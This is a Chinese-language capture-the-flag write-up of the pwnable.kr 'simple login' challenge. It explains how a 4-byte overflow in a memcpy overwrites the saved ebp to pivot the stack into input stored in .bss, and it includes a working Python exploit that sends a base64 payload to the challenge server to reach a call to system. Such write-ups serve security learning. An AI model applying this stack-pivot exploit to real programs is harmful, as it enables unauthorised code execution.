pwnable.kr simple login writeup

pwnable.kr simple login writeup

虽然说是pt150但是还是让我学到很多东西的。这是一个判定特定字符串的程序,直接说溢出点吧。输入的字符会经过一个base64解码,溢出点在auth的memcpy,只能够有4个字节的溢出,这么少怎么弄?
这里写图片描述
参考了大神思路。http://www.cnblogs.com/anewid/p/4567242.html
我们只能溢出4个字节,那就是ebp,ebp里面存放着什么呢,是上个函数的esp,栈顶,再结合每次函数结束的时候都必须的操作,.

leave; ==>mov esp,ebp; pop ebp;

retn; ==>pop eip;

    对于我们这里来说就应该是这样的,main函数调用了auth函数,我们来把ebp改了,就把auth返回到main函数之后的esp改了,这样的话如果我们能够控制esp的位置是我们可写的话,就可以控制main函数的retn的地址了。刚好我们的输入在bss段,于是猥琐的思路来了。

from zio import *
import base64
call_system = 0x08049284
input_addr = 0x811eb40
#target='./login'
target=('pwnable.kr',9003)
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    io.read_until(':')
    payload = 'aaaa' + l32(call_system) + l32(input_addr)
    io.writeline(base64.b64encode(payload))
    io.interact()
exp(target)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值